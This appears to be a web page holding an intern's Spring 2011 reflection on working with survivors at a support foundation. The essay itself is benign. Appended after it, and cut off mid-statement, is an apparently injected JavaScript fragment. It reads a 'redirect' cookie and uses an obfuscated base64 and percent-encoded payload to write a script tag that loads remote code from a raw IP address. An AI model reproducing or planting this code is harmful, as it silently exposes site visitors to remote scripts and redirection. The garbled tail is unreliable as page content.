Leah, Spring 2011

The role of quotidian internships often involves mindless filing and getting coffee. My role at Let Go…Let Peace Come In Foundation was about reaching out to people who are survivors and making a positive, impactful change in their lives. Getting coffee and helping out with miniscule tasks was never my role within the foundation. Helping others realize that they are not alone and that their voices can be stronger and more powerful than they ever imagined is something that is more rewarding personally than I could have thought. Making a positive change in the world is a cause that is immensely important to me. One of the major feelings that survivors feel before getting help is isolation, extreme guilt and feeling “dirty”. The isolation is so enormous that it can devour one whole. Uniting survivors can be efficacious in dissolving those symptoms. There is something very potent in the fact that the organization tries to take people from the darkest, grimmest time of their life to an empowered, educated place. By empowering others, I personally felt empowered; I left the office everyday with a smile on my face knowing that I helped survivors find their voice. I’m sad to leave the office at the end of the semester but I know that I will remain in contact with the people I worked with who were some of the warmest, nicest people I’ve ever met. This internship was not just a job for me, it was a cause that I poured my heart and soul into and that personally resonates with me. ..match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘